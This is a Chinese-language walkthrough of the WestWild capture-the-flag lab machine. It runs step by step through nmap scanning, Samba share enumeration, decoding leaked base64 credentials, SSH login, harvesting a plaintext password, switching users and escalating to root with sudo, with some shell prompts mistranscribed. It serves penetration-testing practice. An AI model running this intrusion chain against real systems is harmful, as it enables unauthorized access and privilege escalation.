//主机发现
sudo nmap -sn 192.168.226.0/24 //扫描整个C段
//端口扫描
//初步扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.226.131 -oA nmapscan/ports //用TCP的三次握手,以速率10000扫描1-65535端口,扫描结果以全格式输出到ports文件中
//详细扫描
sudo nmap -sT -sC -O -p22,80,139,445 192.168.28.43 -oA nmapscan/detail //扫描端口TCP,服务版本和操作系统的版本
//UDP扫描
sudo nmap -sU --top-ports 20 192.168.226.131 -oA nmapscan/udp //UDP扫描,寻找有用信息可以渗透UDP端口,优先级较后
//漏洞脚本扫描
sudo nmap --script=vuln -p22,80,139,445 192.168.226.131 -oA nmapscan/vuln //漏洞脚本扫描
-sn 告诉nmap在主机进行发现后不进行端口扫描,只打印响应主机嗅探的可用主机,也被称为ping扫描。sn可以与任何发现探测类型结合使用,如-pn等等,以获得更大的灵活性,如果使用了这些探测类型和端口号选项中的任何一个,则会覆盖默认探测
-sC 用默认脚本进行扫描
也就是说,-sC是用kali自带的默认工具进行扫描,-sn不做端口扫描,只嗅探主机的IP,实际上能确保扫描的隐秘性,这在真实的渗透环境中,是很有必要的。
经过详细的端口扫描,发现139和445端口有Samba服务,并且有一些信息,需要重点查看,如果不行,则看80端口,22端口优先级最后。
sudo smbmap -H 192.168.226.131 //用smbmap扫描驱动盘的敏感信息和共享信息,发现只有wave可以访问
sudo smbclient //192.168.226.131/wave //使用交互式方式访问samba服务器的共享资源wave
smb: > dir //查看目录
smbmap允许用户枚举整个域中的samba共享驱动器
smbclient列出某个IP地址所提供的共享文件夹
也就是说,smbmap是枚举Linux中所有Samba服务器共享文件的命令,smbclient是列出某Linux的IP的Samba服务器的共享文件夹
查看smb共享目录后发现flag1:
//下载文件并查看
smb: > prompt //关闭交互式的提示
smb: \> mget *.txt //下载Samba服务器中的所有TXT文件
smb: \> q //退回到kali
(kali㉿kali)-[~]cat *.txt //查看文本文件信息
查看后发现一段base64编码和aveng用户提示自己丢失密码,并要求wave用户寻找密码的信息:
echo RmxhZzF7V2VsY29tZV9UMF9USEUtVZNTVC1XMUXELUIWcmRIcn0KdXNIcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K | base64 -d //解码base64编码
发现wavex的用户名和密码,139和445端口渗透结束,获得了通往22端口的账号和密码:
打开web页面,只发现了一张图片,点击复制图片连接,下载并查看是否有隐写信息
//查看图片是否有隐写信息
wget http://192.168.226.131/bkgro.png //下载web页面的图片
exiftool bkgro.png //查看图片信息
没有发现隐藏信息:
#用samba敏感信息获得立足点
//ssh登录用户
sudo ssh [email protected] //用之前解码base64编码得到的敏感信息登录ssh
wavex@WestWild;-$ whoami //查看用户
wavex@WestWild:~$ uname -a //查看系统信息
wavex@WestWild:~$ ip a //查看网卡信息
//根据之前在Samba中得到的信息,aveng用户丢失了自己的密码要求wave用户找回,寻找文件夹,尝试访问
wavex@aWestWild;-$ ls
wavex@WestWild:~$ cd wave/
wavex@WestWild:~/wave$ ls //发现是之前找到的两个文件,暂时不管
wavex@WestWild:~/wave$ ls -liah //尝试查看文件信息,发现没有有用信息
wavex@WestWild:~/wave$ cat .viminfo //尝试查看viminfo信息,Vim用来记录退出时的状态
查看wave用户的vim文件,发现他对passwd有权限:
wavex@aWestWild;~$ ls -liah /etc/passwd //查看后发现只有读权限
wavex@aWestWild;-$ cat /etc/crontab //查找是否有自动任务,没有发现
//权限枚举
wavex@aWestWild:~$ find / -writable -type f ! -path '/proc/*' 2> /dev/null //查找可写文件,并排除路径,丢弃错误信息(防止信息洪水)
简单来讲,横向移动是指攻击者成功攻击一台计算机后,由该计算机横向跨越到另一台计算机,获取相关权限,进而窃取敏感信息的活动。
2 > /dev/null 2是一个文件描述符,表示标准错误,>表示重定向, /dev/null是一个linux的特殊文件,相当于垃圾桶
-path ‘/proc/*’ 排除路径
crontab:定时任务的守护进程, 包含用户任务调度:用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。
查看后发现有一个感兴趣路径usr/share:
wavex@aWestWild:~$ cat /usr/share/av/westsidesecret/ififoregt.sh //查看感兴趣的路径
查看路径文件发现aveng的明文密码:
wavex@aWestWild:~$ su aveng //横向移动
aveng@awestwild:/home/wavex$ whoami
aveng@awestWild: /home/wavex cd ../aveng/
aveng@awestWild:ls -liah //查看avenge信息
avengawestWild;-$ sudo -l //查看权限(发现avenge有所有权限)
avengawestwild:-$ sudo /bin/bash
rootaWestWild:~# //提权完成
rootaWestWild;-$ whoami //查看用户
rootaWestWild:~$ uname -a //查看系统信息
rootaWestWild:~$ ip a //查看网卡信息
rootaWestWild:~$ cd root
rootaWestwild:/root# cat FLAG2.txt //查看flag2
提示打靶完成:
先进行主机发现,端口扫描,发现22,80,139,445端口。139,445端口是Sam端口,需要重点查看。在Samba渗透中果然发现了flag1和另一个文件,查看后发现敏感信息,通过敏感信息登录SSH(22端口)获得了系统立足点,而对于80端口,不需要继续查看了
在第一个用户中查看信息发现了一个可写文件bash脚本(bash是一种常用的shell,shell是Linux的接口程序,用户通过shell访问Linux),打开后发现该脚本不是自动任务,而是一个防止用户忘记密码的备份,用里面的明文密码登录到另一个用户,用sudo -l发现该用户有所有的权限,然后使用sudo /bin/bash提权成功。
在root文件夹中发现flag2,查看flag2,它提示我们打靶成功